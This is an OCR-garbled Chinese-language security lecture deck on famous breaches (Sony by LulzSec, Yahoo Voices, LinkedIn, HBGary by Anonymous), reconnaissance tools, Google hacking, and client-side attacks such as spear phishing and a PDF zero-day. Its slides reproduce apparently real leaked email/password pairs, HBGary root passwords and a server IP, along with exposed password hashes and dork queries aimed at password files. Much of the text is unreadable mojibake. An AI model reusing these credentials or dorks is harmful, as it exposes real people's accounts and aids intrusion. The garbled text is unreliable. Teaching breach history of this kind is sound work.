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Online Slaughter in WoW

» BB SR A0S A AR =s IR il
» REWITHRE AR



xVideo/Hacker hits Stormwind - Tichondrius - video.mp4
xVideo/Hacker hits Stormwind - Tichondrius - video - 4.mp4
xVideo/Hacker hits Stormwind - Tichondrius - video - 4.mp4

2011-Sony Hacked

» BH#5 " LulzSec, RUBREMMS - EHEE DR 1 FEE
5300 Sony AP IRERE R -

. LulzSec 1878 Sony (B HE - LAY SHEEHES
e 8 2O L

HN@:

» LulzSec £/ 7 HEMEZRISOLE R IRES I ( %
Injectlon) R EINIER] KA [ Sony $E’\Jéﬁ14£ﬁi
SQD¥ B RYIRSE » 2205 Els.-?i[iﬁ: A AR
QIE"‘ SIS F - WHEAR L ARRRL -
» LulzSec AL E - 225% ({FZRIZEE Sony AERY
Fih - WRSNIARAEFAR Sony M EW=—BHTH
HEBEESN - T8k -



Sony FHEIRZ A

LulzSec Dump on PasteBin

(LulzSec)

Don't make stories about this, silly press, we're just providing
something for someone on twitter. May the lulz flow through you!

Some stupid plasma research college, can't remember:

EMAIL | PASSWORD

.ac.uk | physics1
mit.edu | lololo
cfa.harvard.edu | rumble

pl.gov | |:|rr|'..-'1'|='|.-a':3:

13272

53 "F'|:|f|..|:h | Ja22Ja22
boroviks@yahoo.com | raskladushka
dnestrov

nail.com | tohogal4
Flljl-“' ru | cfhfcdfnb

arbriesemeis@wisc.edu | adasi



http://securityforthemasses.blogspot.com/2011/06/lulzsec-dump-on-pastebin.html

2012-Yahoo Voice 458 £ {EE 9B

» H1Z: Yahoo Voice YAEOO!
) %x.:.n B#4%: D33Ds Company
4 /)I_3|=§/|__|

> SQL Injection

- Passwords NOT protected in DB

- No detective controls

» Yahoo didn’t respond the breach quickly
» sEEEH
- email(Gmail, hotmail, MSN, AOL f§5%)
- password in cleartext
WA YN e
vywmapp7igmncodylqvSihusp-_hfr 30
} /I_Iz_l\ﬁl%gﬁ};:: 8db8e545aafb53c8b715392f6d5d3 29
768dc368de23f6826584c284131d3 29
zQbXThY_}pR,Z%&It:935&#039; 28
km=01aj=04&amp;a&#039;nay=05 28

iehapgvm3c9i51ligswptx6lmuip 28


xRef/yahoo-disclosure.txt

2012-[E35 M0 LinkedIln Hacked

» 6,500,000

» Passwords hashed(SHA-T) without salting
» 165,000 password hashes cracked

TOP 30 PASSWORDS CRACKED
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EHEH
2011-11-05

BRANE

2011-11-05

31.gov.tw/

2011-11-15

tw/

2012:01:05
2012-01-06

2012-01-08

tw/

2012-01-11
2012-02-01

2012-01-21

2012-02-09
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2012-05-15

2012-04-17

2012-05-15
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HBGary RYiZ &=l

AARON BARR IS
the Man who Knew too Little

ARS TECHNCA DOCUMENTARY PLTURES <curc NATE ANDERSON INVESTICATIVE JOURKALISM STORY uzac AARIN BARR oo HBGARY FEDERAL
wovesgaser WIKILEAKS s GLENN GREENWALD s o co AURICH LAWSO e s KEN FISHER s e s KURT MACKEY
weransess L MURRAY oo REGENC'Y ENTERPRISES o WARNER BROS




&= ¥ -HBGary

HBGary 2azF A 5]?
» HBGary 2EZ NSRRI ENEL AT
cofounder & CEO Greg Hoglund 2&Z F 184K
A¥) - Z7A:“Rootkits: Subverting the Windows
- 112 Black Hat - RSA KEA1 security
conference B RAIESE

» EPAEEE T Z eI =SR] <
» HBGary Federal eHnE - BFEEEFHIBUSRY

1

= Aaron Barr #£F CEO




B2 = 4 -Anonymous(Anon)

Anonymous =—1& loosely-
coupled WNEZZ=#H 4
BEIRC L3RE "% |
=HRSR
WikiLeaks RS 15%& - HILE VISA -
MasterCard - PayPal & £ EkE it 2 ¥
WikiLeaksFyZEE
HBGary £

Because none of us are as cruel as all of us.

X IREIEREL?

BiEE=RpEZEE 1T Edward
Snowden



xVideo/Anonymous Hacker Group Threatens Mexicos Zetas Drug Cartel you took one of us - video - 1.flv

I EE St

» HBGary Federal 2R E E AR AE

» CEO Aaron Barr %E@%T%&%@%%ﬁﬁ% Y
IRET] - REZ \ﬁﬁﬁﬁ%}ﬁ?(?&ﬁﬁ’]f ?E)

» Aaron Barr 3% Financial Times BYs5E TP
A AZ A7 Anonymous FUBEIE R E E’JE%‘E'@ '
J/XE&EEE}FJ’L&7<

» IEERZENS 7 Anonymous 284 - feBlsEE HBGary
BB E - EAl| HBGary - IR REMEE

I|m||




BGary Web Site Defaced

‘This domain has been seized by Anonymous under section #14 of the rules of the Internet.
Greetings HBGary (a computer *sccurity” company),

Your recent claims of infitrating” Anonymous amuse us, and so do your attempts at using Anosymous as a means to gamer
press attention for yourself. How’s this for attention?

You brought this upon yourself. You've tried to bite at the Anonymous hand, and now the Anonymous hand is bitch-slapping
youin the face. You expected a counter-attack in the form of a verbal braul (as you so eloquently put it in one of your private
emails), but now you've received the full fury of Anonymous. We award you no points

What you seem to have faled to realize s that, just becanse you have the title and general appearence of a "security”
company, you're nothing compared to Anonymous. You have fittle to no security knowledge. Your business thrives off
charging ridiclous prices for simple things Hce NMAPs, and you don't deserve praise or even recognifion as security experts.
And now you tum to Anonymous for fame and attention? You're a pathetic gathering of media-whoring money-grabbing
sycophants who want to reel in business for your equally pathetic company.

Let us teach you a lesson you'l never forget: you doni't mess with Anonymous. You especially don't mess with Anonymous
simply becanse you want to jamp on a trend for public attention, which Aaron Barr admitted to in the following emait

"But its not about them...its about our audience having th mpression of our capability and the competency of
our research. Anonymous will do what every they can to discredit that. and they have the mic so to speak because
they are on Al Jazeeera, ABC, CNN, etc. I am going to keep up the debate because I think it is good business but I
will be smart about my public responses.”

You've clearly overlooked something very obvious here: we are everyone and we are no one. If you swing a sword of malice
into Anonymous' innards, we will simply engulf it You cannot break us, you cannot harm us, even though you have clearly
tried

You think you've gathered full names and home addresses of the "higher-ups” of Anonymous? You haven't You think
Anonymous has a founder and various co-founders? False. You believe that you can sel the information you've found to the
FBI? False. Now, why is this one false? We've seen your internal documents, all of them, and do you know what we did?
We laughed. Most of the information you've "extracted” is publicly available via our IRC networks. The personal details of
Anonymous “members” you think you've acquired are, quite simply, nonsense

So why can't you sellthis information to the FBI lice you intended? Because we're going to give it to them for free. Your
gloriously fallacious work can be a wonder for all to scour, as will all of your private emails (more than 66,000 beauties for
the public to enjoy). Now as you're probably aware, Anonymous is quite serious when it comes to things like this, and
usually we can elaborate gratuitously on our reasoning behind operations, but we wil give you a simple explanation, because
you seem kike primitive people

You have biindly charged into the Anonymous hive, a hive from which you've tried to steal honey. Did you think the bees
would not defend it? Well here we are. You've angered the hive, and now you are being stung.

It would appear that security experts are not expertly secured.




=24-70,000 emails revealed

i 7 2K 4.7 GB WASEER KSEMEERN
EREF A M AFER T

> ¢ oS )
Index of /

Name Last modified Size Description

E:i aaron hbgarv com/ 11-Feb-2011 19:37
(£ sreg _hbgary com/ 11-Feb-2011 18:50
[faghil hbgarv_com/ 11-Feb-2011 22:48

E}ted hbgaryv_ com/ 11-Feb-2011 23:39



http://hbgary.anonleaks.ch/
http://hbgary.anonleaks.ch/

=E8-PERE

HBGary HUH RSA Conference &

A group of aggressive hackers known as
“Anonymous”illegally broke into computer systems
and stole proprietary and confidential information
from HBGary, Inc. This breach was in violation
of federal and state laws, and stolen information was
publicly released without our consent.

In addition to the data theft, HBGary individuals
have received numerous threats of violence
including threats at our tradeshow booth.

In an effort to protect our employees, customers and
the RSA® Conference community, HBGary has decided
to remove our booth and cancel all talks.

HBGary is continuing to work intensely with
law enforcement on this matter and hopes
to bring those responsible to justice.

Thank you to all of our employees, our customers and
the security community for your continued support.

-HBGary, Inc.
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Anonymous WEFE

» HBGary CRM web app.(in-house) & SQL
Injection AZRBLIN - IR 55

y BEREPWNERESELL MD5 hash frRi&E - #
Anonymous Ll rainbow table A{INAK A%

» AR RIBERES 8 - BHEA 6 @{/NBFHE
+2 EEF

» —8B Linux server )x B —{E BRIV patch, B2
local escalation B{If

y Z g2 S (Aaron and Ted B9 CRM ZPREA

gmail 18[E, Aaron 7272 5] email Server HJ
admin, K22 ) 225G t— 18 ) — A




From: Greg Hoglund <greg@hbgary.com> ISun, Feb 6, 2011 at 1:59 PM

} = CEO e ai | I-I]F D):E To: jussi <jussij@gmail.com>
= H m &
\ S AN im in europe and need to ssh into the server. can you drop open up
J//{ $:|:§& *EE? Hy 1—_| HI& firewall and allow ssh through port 59022 or something vague?

and is our root password still 383j4bb3rwlcky88 or did we change to
J: E/] t ¢ BF 885cr3am3r3s 2
rOO ‘( thanks

From: jussi jaakonaho <jussij@gmail.com> ISun, Feb 6, 2011 at 2:06 PM
To: Greg Hoglund <greg@hbgary.com>

hi, do you have public ip? or should i just drop fw?
and it is wlcky - tho no remote root access allowed

From: Greg Hoglund <greg@hbgary.com> ISun, Feb 6, 2011 at 2:08 PM
To: jussi jaakonaho <jussij@gmail.com>

no i dont have the public ip with me at the moment because im ready
for a small meeting and im in a rush.

if anything just reset my password to changemel23 and give me public
ip and ill ssh in and reset my puw.

From: jussi jaakonaho <jussij@gmail.com> ISun, Feb 6, 2011 at 2:10 PM
To: Greg Hoglund <greg@hbgary.com>

ok,

takes couple mins, i will mail you when ready. ssh runs on 47152

...a little later:

bash-3.2% ssh hoelund@65.74.181.141 -p 47152

[unauthorized access prohibited]

hoglund@65.74.181.141"'s password:

[hoglund@www hoglund]$ unset

hoglund@www hoglund]$ w

11:23:50 wup 30 days, 5:45, 4 users, load average: ©0.00, 0.00, 0.00
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WHOIS &&=

-

» RIREAHE
> \Web-based
- NOT user-friendly

> http://whois.twnic.net.tw/

Domain MName: pchome.com.tw

Registrant:

AR FEREAFSARGERAD

PFC home online

12F No.105, S5ec.2 Tun-Hwa South Road. Taipei,Taiwan, R.0.C

TWNIC Whois Database

TWNIC whois p infi ion for network administration.
Its use is restricted to network administration purposes only.

Contact:
Ning Chih-Lun domain@staff.pchome.com. tw
TEL: 02-270008984#233

FAX: 02-27085021

Record expires on 2015-05-31 (¥YYYY-MM-DD)
Record created on 19%85-07-04 (YYYY-MM-DD)

Domain Name Whois Search:

pchome - |com.tw E‘ Domain serwvers in listed order:
dns.pchome . com. twW 210.59.230.85
IP Whois Search: eagle.pchome . com. twW 210.59.230.88
tiger.pchome. com. twW 210.59.230.85

Register . TW domain name (only in Chinese) R _ - - . -
Apply IP address from TWNIC (only in Chinese) Begistration Service Provider: PCHCOME




s£5—=7 WHOIS &8 18

» RIERE
» whois365

» Robtex Swiss Army Knife Internet Tool
- Web-based
> Toolbar for IE/FF/Chrome

> WHOIS
- A RAAEZE (blacklist)
> AS number
» Client TE

- WHOIS 1mZEfEH tcp 43 port
- whois.exe — Mark Russinovich
- Sam Spade



Robtex &:fB45

Result Summary Records Graph Shared Whois Blacklists Analysis Contact
pchome.com.tw |Luc:ky || Seé\rch|(’” gle” Custom Search

asuscloud.com

asuswebstorage.com

dnsl.asuscloud.com

NS NS AS

A NET 60.199.192.0/18 AS9924
A / &=
dnsl.ecareme.com % ( 60.199.253.251 ity
"N 60-199-253-251 static.tfn.net.tw

dnsl.nl02.asuswebstorage.com

ecareme.com

nl02.asuswebstorage.com



DNS BEE
» Fully Qualified Domain Name(FQDN)
» FQDN <- IP address

DM S client (resolver) | | Client-to-server query | Server-to-server query
(recursion)
Foot
o hints file
Authoritative {Cache.dns)
Zones Other DMNS servers
DN S DN S % :
resalver SEFVYEl E m .
cache :
Web browser CH B Q2] g ¥
URL: www. microsoft,.com [ A1 A A2 | A5 | @
'- =
m ] 1
HOSTS Non- server
file authoritative cache

http://technet.microsoft.com/en-us/library/cc775637(WS.10).aspx



sEHZ DNS
RIEC#E(record)

DNS &5

DNS Zone
Transfer

Domain name
search

Domain name
generator

TLD Rotation Keyword Brute-force Misspelled




DNS & EL{th 3 I Ak 75

DNS

Email Server
( EH Command Prompt - nslookup =




=8 DNS : txdns

LiEZ&E 52 4 DNS Request

EX Administrater: Command Prompt | o (S e S




Zone Transfer

4

4

4

REH 19 2 A AR g3 (Secondary Name Server)&d

Zone File E
DNS opcoc

F EA19, BT A ARes (Primary Name Server)[@®

D resource record
e : AXFR, port: tcp 53

£ 0] AMS
SEUKE SN

THREETEAR  REREZEZE

BE%U Zone transfer WEFTERHE EEMNETE °
DNSSEC D8Iz ==& zone transfer W& E
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Web-based Recon Tools

» http://tools.digitalpoint.

com
- BEREM

- = C' [ tools.digitalpoint.com
1 EEZE D EAZHREE. ) E=EnEEE. [ 2E2-Rik

| W TWEET SR EILRE | L35 7 ‘ou Know..

LRz b3

=|

# Tools

The forum rules and policies have been revised and published in the FAQ/Rules area. Please read (and un
http://forums.digitalpoint.com/fag.php*ag=rules

After you read them, you can dismiss this notice with the X at the upper-right.

Free Webmaster Tools

Here you can find useful tools that are free to use for our users.

AdSense Sandbox

Check what AdSense ads would display on any URL.

Analytics Globe

View a WebGL-based 30 globe of visitors based on your Google Analytics data.

Base64 Encoder/Decoder

Encode or decode any text into baseg4 MIME type.

CSS Compressor
Allows you to compressminify CSS files.

Diff Comparison

Allows you to compare two versions of text to determine what the differences are.

DNS Lookup

A tool that allows you to quickly check DNS records for any domain /host.

DNS Zone Transfer
Check the security of your DMS servers {chedkif your DNS zone files can be transferred).

EXIF Reader

Read EXIF meta data from any JPEG or TIFF image.

Geolocation
Allows you to geographically locate :R IF address or hostname. Also shows your own IF address.

Geo Visitors
Where in the world are people that are visiting your site/blog?

‘o

-

'@ |

HTTP Headers

View HTTP response headers for any URL.

Hit Counter

Simple to use web hit counter.

=
wn
-

Roland: 11-07-12 22:02:18



http://tools.digitalpoint.com/
http://tools.digitalpoint.com/
http://tools.digitalpoint.com/

Web-based Recon Tools

C Eﬂ tr a’ HPE -HE' t Advanced online Internet utilities

otlit
— AspTcpQuery sample
Pomain Dossier |
Demain Check | service () whois finger @HTTP " echo
Email Dossier |

Browser_Mirror
= server  www.asuscloud.com

Ping

Traceroute query |GET /HTTP/1.0
Mstookup

AuteWheis

FopOuery

AnalyzePath

Querying www.asusclond.com [208.74.76.174]

[begin response]

HITP/1.1 200 COK

Server: Apache-Coyote/1.1

X-Powered-By: J3F/2.0

Set-Cookie: JEESSICONID=COD1TCE2Z3CESESFA3188881379B067AT4, Path=/
Content-Type: text/html;charset=UIF-8

Content-Length: 7890

Date: Wed, 07 Nov 2012 14:28:17 GMT

Connection: claose



http://centralops.net/co
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Search Engine(##&5|%

» Google, Yahoo, Bing, Ask, AOL,...

source:

» Caches

» Less Is more

The Internet is
made up of many
Web servers that

host billions of
Web pages.

The s=arch engine spider crawls
hyperlinks on Wweb pages and
compiles alist of pagestobe stored
inthe search engine index.

The search engine's

c()‘ ) [C index contains
- encoded dats about

web addresses and
what words are
associated with each

I I page.

when a user perfforms a search
through the search engine, a
sophisticated algorithm is applied to
theindex and it returns all
appropriste Web pagesin ranked
arder - from mostto least rel evant .

http://www.semexpertise.com/wp-content/uploads/2008/12/serchl1.png



Google Hacking

» “Google hacking is a computer hacking
technique that uses Google Search and other
Google applications to find security holes in
the configuration and computer code that
websites use."-Wikepedia

=

© maEe O honEE O EEesEE O sEnER

E 3 —1 W BT A HGETIRE £H267TAF & FrontPage." ext:pwd inurl:(service | authors | administrators | us¢
(o) o o] o | PAA ﬁ
=J g nurl _wii_pvt service prd - FilesTube Video Search - | #550KE

3 Sep 2009 ... Description: This Episode includes frontpage website valnerabilities through
insecure password files, insecure photo albums, and WNC login ...

5 *E Fﬁ;q ,_‘_.u_ I viden filestube. com/_tnurl + vi_p-+service.pwd - B ST
YH R r e e Va n C e service pwd - Welcome to | OOK Communications. - [ #iEukE |
#-FrontPage- zinine: RIMAISAIDEgd o
webhome.idirect. com/~zinine/_vi_pvi/service pwd - BLETE - BBLIAT

} service pwd - Qwest.net - [ BEEILE |
# -FrontPage- booboo?: ypUyfiKo2gikg

wiv. users. gwest. neti~booboo?/_wti_pviiservice. pwd - B EATHE - 2ELAE

AN \/ P4 45 =2 service pwd - www ocda.demon.co.uk - [ BEEILE |
(@) Q) ={p #-FrontPage- ron:HY pfTiLNAY mBQ.
)( L ~ E E ww.ncda.demon. co uk/_wti_pvt/service pwd - B ETFE - BELAE

-FrontPage- fadm jghodkMNe US/Z - [ #1EE1LE |

\ IE : A : :/\‘, E‘ #rFromEager fadrm:jghodkMe.UB/2, o o
o I\ﬁ 7 (] B E e rohitab. com/__/post-10-34160-administrators pwd - BETEE - SBLAE
L /licn ==_H

senvice pwd - Index of /

SRR BRI - HTML R

#-FrontPage-. rayalmini.corm: TagzandyidZnl

wwwr royalmini. com/_wti_pwiservice. pved - BB

vil_ptfservice pwd - SecuFast.com - | #EEILE |
#-FrontPage- administrator rmg/sPISRigil
. secufast. comd_di_pitiservice. pwd - BUETTHE - 2BIAE




Google Hacking-Keyword
 EEEBUHNBTRE « BB - RE

) %rt web server BRI
“server at”, “powered by”, “EEP”

» Web Server T8 V5 52512
y HiRAlER

- intitle:index.of “parent directory” or intitle:index.of
name size

» BAME
o #% F¥EEL - inurl:login intext: & A falfikzs
» BEFENE
> inurl:temp | inurl:tmp | inurl:backup | inurl:bak

» REEEEH

> inurl: admin inurl:login




Google Hacking-Operator

GO ;8[@ inurl:login intext: & A AR 22 intitle :bitefight e

intitle =7

4
<
<

2IERER (ERFO25 N

inurl

Intext

Site
filetype/ext

OR, |

) BiteFight Sexver 1 - Mozilla Firefox

File Edit View History Bookmerks Tools Help

el . |ﬂ1hﬂp:ﬂhiﬁeﬁgm.wbmnogm.php N . I[G:]\
— —— ——— —

| N : %\‘\;\"
NN

/r'“" .

"’,'.‘ § x\
A 2 "
S U) )

p.
P&

{ [\
a

Done asese0 [ |4 |©)|IP | 7420844307 | TorDissbled |1 molandandy@gmaileom [




Google Hacking Database

» GHDB now

(0]

- #% =859 google dork
- B3 [M) 2 Google Search Engine

ﬂ\f'\,f\,f\F i=

i L-— -

ACKING-DATAASE

We call them 'googledorks': Inept or foolish people as revealed by Google. Whatever you call these
fools, you've found the center of the Google Hacking Universe!

Category: RiEDNCAi e Bd Free text search:



http://www.exploit-db.com/google-dorks
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» "Index of /backup

asp

=
e

€« (@) .com Ak §

NET

wadity 17 Solutions the way v

Home | Contact | Search | Sitema

A Solution is

Advanced Networks is 5

EEA SFar Davbmar Draaves

Advanced Networks is an Information Technology firm specializing in
Middleware architecture, system integration and custom application

development, including wireless and web applications. Our clients » Small to Me
include Fortune 500 companies as well as new wentures and start- Business S
ups. Our core practice centers on helping clients achieve competitive
advantage through superior integration. We specialize in project-
oriented work and focus on deliverables to measure our success.

» Middleware

Advanced Networks is value added reseller for the following products.

e BEA WeblLogic award winning Java application server, BEA MessageQ reliable r
g"hea software and BEA Tuxedo platform for building e-commerce systems.

m | r

/' [ Index of /backup/produc...
|(- 2> C @ comy

Index of /backup/products/_vti_cnf |

‘ * Parent Directory
WS_FTP.LOG
index.asp

-

L]

- )

. asp
. B

. o.asp
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. )

. sp
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Apache Server at | ".com Port 80




dns.gov.ph/process/connection.php~ ~
$database = 'govph’; $con = mysql_connect($host $user,$password) or die('Could not
connect: ' mysql_error()); mysqgl_select_db($database); 7=

<?php session_start(); if (isset($_SESSION['username’]) && isset ...
dns.gov.ph/ajaxResponse/modReqs.php~ ~ Translate this page

process/connection php"; $date = date("Y"); $queryReq = mysql_query("SELECT * FROM
REQUESTS r, DOMAIN d WHERE r.type=1 AND r.approved=-1 AND ...

<?php

2>

C A [ dns.gov.ph/ajaxResponse/modReqs.php~

session_start():

if (isset(S_SESSION['username']) && isset(S_SESSION['id'])) {

include "../process/connection.php";

S$date = date("Y");

SqueryReq = mysql_query("SELECT * FROM REQUESTS r, DOMAIN 4 WHERE r.type=1 AND r.approved=-1 AND r.domain id=d.id"):;

<script type="text/javascript"><?php include "../scripts/insctructions.js"; ?></script>

<form id="modReqgs" mechod="posct">
<p class="goCenter">

</form>

</p>

Filter From: <input types"text" ide="from" name="from" class="ui-widget-content ui-corner-all”" readonly="true"
onkeypress=tchackEnter (event, 1)"/>

To: <input type="text" id="to" name="to" class="ui-widget-content ui-corner-all" readonly="true"
onkeypress="checkEnter (event, 1)"/>

<a href="#" onclick="filter (document.getElementById('modReqgs'), 1)"><img src="images/bulb.png” /></a>

<a conclick="filter (document.getElement3yId('modReqgs'), 1, 1)"><labkel class="blue">Reset</label></a>

<br /><bxr />

Domain Name: <input type="text" id="domainname" name="domainname" class="ui-widget-ccntent ui-corner-all”
onkeypress="checkEnter(event, 1)"/>.gov.ph

<br /><br /><br />

<label class="forTabs">Modification Requests</label>
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» 5397007 Web FERIRZ S A AR

Exploit Title : TinyBE 1.4 5ql Injection +4
Google Dork : "Proudly powered by TinyBE™|

HoHH W HH W

Date T TJApril 2811

Author : swegl 5
Contact : flavp[dot]baldassi[at]gmad
Version 1.4

Tested on : Centos §.5 with magic_quots

Thanks to ptrace.n

/g TinyBB x N _—

&«

Cc® .com/tiny/index.php?page=register A

TinyBB =~

Username:

Password:

Email:

12244522

Register

Details
By reqistering to this TinyBB powered forum your IP address is taken for logging purposes.

Proudly powered by TinyBB




Mt . R e

« C @'mrmal - iview.asp ﬂ.?J X

Manage Alumni Registration

Sl Num MName View Delete
1 view Delete
2 biugnwve view Delete
3 view Delete
4 view Delete
5 Acunetix view Delete
6 view Delete
7 view Delete
3 view Delete
] Sushmita Sen view Delete
10 view Delete
11 view Delete
12 view Delete
13 view Delete
14 ASISH Hijda view Delete
15 view Delete
16 Acunetix view Delete
17 Acunetix view Delete
18 Acunetix view Delete
19 Acunetix view Delete
20 Acunetix view Delete
21 Acunetix view Delete
22 Acunetix view Delete
23 Acunetix view Delete
24 Acunetix view Delete
25 Acunetix view Delete
26 Acunetix view Delete
27 Arninativ v Nalata




IPCH S R A7 SRS 20

|C]11nese Name

[re———

|Netna me

Il -MET

Organization Name

. The

] - —

|St:reet Address

[loF 7 T.Rd.

|
|Admi11. Contact ||¢—L1@d Bt |
|Tech. Contact || L 1@y ow |
|Spam. Contact ::.4- V@ T ntw |

Netname M- 2NET
Registered Date 1995-01-23
Hdmin. Contac o
ech. Contact E mi@ o«
S
WHOIS

Hittp: i

Local copy Open

Important metadata;

o ppt

FHD ARy . . — . - 4

Local copy Open

Important metadata:

X ER) Metadata



Case Study: Google Hacking

YA wrrwr [
o 7R
B D: | ) HBEER v @@ E-
- e A HEHEREERR (T
_J o FHERERE (D)
Recent L DVD-RAM FERREE E)
— g Mewest (F)
(r /4 CEHv6 Valome 1 (I
{1 CEHv6 Valome 2 (19
= g (7hdail Dirive
Iy ERH
I rolandandy FOETiE
A=
HAIENY ‘
&5 Q0 it domains mdb vl ETFE
WS LTS @R (AL v] RH

.aNet‘-. o, o’y N-dn:nmains odk

Eign in

Il




WERAZEHIR

amae) arrack! ATTACK/]

I R

o=t BIRERIREZEFIL - TR RENEABR - ASER

B % 152 B ZRY o] F e se B4 YR B2 ERNay i mltE
WEHR ML 24 852 - BE EiRE: « A&RIRE
Fx o FRETARFEINEE(DOS) I EE T H#kay, -« MNAREHE
=) o R AKEZEMITM)FEIEZZ S
« Buffer Overflowl{EERRED - « NABBEHBEBEAEERER
B stack B return address ¢+ (IR IEEFHEEARERZET
. WERBEE shell



DoS: MS12-020 MS 2003 BSOD

A pr
1]

and windows h
To

wt down to prevent damage

ardware or software is properly install
ask your hardware or software manufacturer
d.

ble or

memor such as ca

y use safe mode t emove or o ble
your computer, pre

ss F8 to select advanced Startup
select safe mode.

Technical information:

wux STOP: 0x00000020 (0x00000000, 0X0000FFFF, 000000000, 0x00000001)




MS .LNK Vulnerability

A hitp://10.0.0.6/insiall - Microsofi Internet Explorer

TEEE REE HEG HFEEEW IED #EE il 1
=1 - - ]

M @@ Pus derwez @ -3 |

|

AL D) ] httpa/10.0.0 Hénstall v DAz EE

C:\Documents and Settings\EC®1>netstat -an | findstr 10.0.08.6
TCP 10.0.0.4:1888 10.0.0.6:80 ESTABLISHED

TCP 10.0.0.4:1894 10.0.0.6:80 ESTABLISHED
TCP 10.0.0.4:1895 10.0.0.6: 4444 ESTABLISHED




G EHE-RENEXEES

» 831 patch, hotfix, TREE
» BIVAEREES E

- fBlg0:hosts
» T I P e IR 51T

° ca

» BEARIREZERTE(RAT)

» /B A rootkit
y TEHE =B REILRA




& it 52 iR Bl

» BIFRE I EL E i
» [ E R
o &
- BiflBE#E (steganography)
- NTFS Alternate Data Streaming

= btz Et/l/(

SR T

- Rootkit

- NIZR7@EB(tunneling)
- BPRSBHECER

© EESZ%&EH—;F'E?

> anti-forensics

2
il

il
\

i

X
o
<1~




Client-side Attack

0e
@e

%  ActiveX Vulnerabilities

Browser Vulnerabilities

o Flash Vulnerabilities

E Adobe Acrobat PDF Reader Vulnerabilities

y Silverlight Vulnerabilities

¥

% Media Player Vulnerabilities
(Quick Time, Real Player, etc)

% You name it
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« Back to Inbox Archive Reportspam Delete Move tow Labelsw More actions w

[%%] Eﬁ Inbox | X

tc:ryellqwszo 5:31 AM (5 hours ago) & Reply

B—gxR, EEE2EER, EEIFANKEELREER. REESEEE. U HRERENE

FRE: "k, BEAREERNEE —ERE. —EXR MEEHSNZEEETHRNEZ,
BEREERE? "

SEET—T, #:
BB, BEABRZEREGHE.

r — HaER/DEE.rar

— 85K Gmail could not scan this file for viruses. Download




=6 _ RS

Gmail Calendar Documents Reader Web more v imail.com | Zettings | Help | Sign out

. .
" Show search aptionz
Search Mail Search the YWeb Show sesrch options
m I Create a filter
Google -

SE et Sl EEIE E S I - -

Compose Mail

Inbox (4) « Back to Inbox  Archive = FRepaort zpam | Delete Movetow | Labelz w More actions ¥ « Hewer 8 of 419 Older »
Starred T )
Chats @ PRSI A BAE T EETIE T . tnbon [ O New window
. =) Print all
Sent Mzl 2199196 how detalls 12723008 | dyFeny | v | 2 0tal
Drafts (9) .
Al Wil e TR R e - B [ Spansared Links
Spam (358) A -100%FBBEA DA
Trash SERTIE R ISR — VB - 88 - ShIE - TE—UriEE ) HitE SR ERGENRASE T EE
http:/fmessenger. yahoo. cam. twf ZEEEIW - FRMSME EEEE
Ads (610 wewewy. COmely520 com
h% t EHEDID | -3 100 i 4 i
e [ JEkInk HREHET T R -
dumphin 3K _Dawnload BT\ S A PR R )
English (874 werewy. dididiamond. com
ﬁdls_(ﬁ_l ©Reply S Reply to all = Forward
— R BE RS
Mare v DEEHES A LSRR A S EERE
Contacts SRR - i - EETE s
- wewy jerryphoto. net
Tagks
P -FERES 800000
- Chat RIS REE R 0000, TrgsE s 3 iro0005g
Search, add, or invite BNER Y 58 DVDEE 02-2351-4500
! ! st s e i, b
@ Rol - More about...
Set status here v LEEAmE




0 +5 Xk .||
2K Downloa

6 Reply 4 Reply

|

[?)(X) Google SETH,

| TRH I

FE(E

| BT

| FH | mE

SHREO):

(ESE8E. | (BEr0. | [ ERD. |

| mE
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=hl=.8

Hai -2 F 28T

-

& T

Y I &

me

I ZE(Spear Phishing)

Inbox n classmate | *

show details Jan 26 4P | 4y Reply | ¥

EfaRAE B ARZERRECEMGTI0FET - BEHEREREREE GL—F
BEENIE R - JBH T RIS E B P A EriESEsar 5 i - SRR
BCEREASRRMIEE ERER BECAENTREEMEFRMLE -

TERERF: yHE A 758 15308 i SR I 2 AR Y 1 A e -
FHEY 2B B S AR R A TR AR R R B i 35 F R RS R E ST

oiE B E R E -
FHRMIESE -
iy
(07) 582- 27
(07 348¢
0932-
edu.tw
REETIER
) £ 2 b6 L L . pdf

111K

View  Learn more




o] ZE =07

Hag- 22T

- " to me

n classmate | *

show details Jan 26 4P | 4y Reply | ¥
HigEA, B ARZERREDESRI0ET - HEEEEREHNESEE 51—

BRI R o T 2FrEE 1 Ta Sy 6 a5 Bnar 5 £ - G EE. R
BOEEAE BEEEEER RECE

TR EER AT LA -
FERERF: S A 758 15308 i SR I 2 R Y e 1 B RE -
FHEY 2B B S AR R A TR AR R R B i 35 F R RS R E ST
i, B BRI T2

TIOfEsE -

RILAER

(07) 582- 27

(07) 348¢ «
0982-

edu tw

REETAER

= %ﬁﬁﬂﬁ&%%ﬂ??ﬂﬁpdf’
111K View Lo more




PDF Zero-Day

» Zero-day BECHAR LIEEFHH
y T 1 R PDFAE
>%W%m

o EIIHAT 1.exe

o B AMIE DLL
- Inject to services.exe # explorer.exe

o ENTRVENARTS

O
Ml




FREX PDF 1£...

2 File Monitor - Sysinternals: www_sysinternals com

| File Edit Options Volumes Help

ﬁﬁ:ﬁﬁ&&ﬁ
ﬁﬁ@ WREE R0 FEIRFGL AW

"‘ File Monitor - Sysinternals: www _sysinternals com

] IMM
#{_7] IniFileMapping
(1] LanguagePack

{_] LastFontSweep

{1 MCI
{1 MCI Extensions
{1 MCI32
(1] Midimap
{1 ModuleCompatibility
{1 Network
#-{_1] NetworkCards
{11 OpenGLDrivers
[#-{_] Perflib
#-{_1 PerHwlIdStorage
{1 Ports
(1] Prefetcher
(] Print
[#-{_1 ProfileList
(] related desc
#-{_1 SeCEdit
{1 Setup
=2

(L DComLaunch

A BE

(ab) (FEER1E)
(ab] DeomLaunch
(ab] H T TPFilter
(abimesve

(ab] LocalService
netwcs

(ab] NetworkService
(ab]ipess
term.svcs

Wy

b=l

REG_SZ
REG_MULTI SZ
REG_MULTI SZ
REG_MULTI SZ
REG_MULTI_SZ
REG_MULTI SZ
REG_MULTI_SZ
REG_MULTI SZ
REG_MULTI SZ
REG_MULTI SZ

(BHEFRERTE)
DeomLaunch TermService
HTTPFilter

Stive

Alerter WebClient LmHosts RemoteRegistry upnphost $...
6tod AppMemt AvdioSrv Browser Croyptive DMServer ..
DnsCache
Rpcls
TermService
WVSSYC

R i | SUChOStF.dwc—ruvw—" B = I

5 suchost exe: 108!& l]UER'f INFGRMHTIGN C:\1.EXE 3[

2. s —Fq:- 07... AcroRd32.exe:2084 RERD C: \DGCUME~1\|'I&CREI'\|
M ez “

MNat 4 ~Asen —

( [ > I

ArnsanDNANN Asca el LINTYTr




Point—of-Sale ==& - Dexter

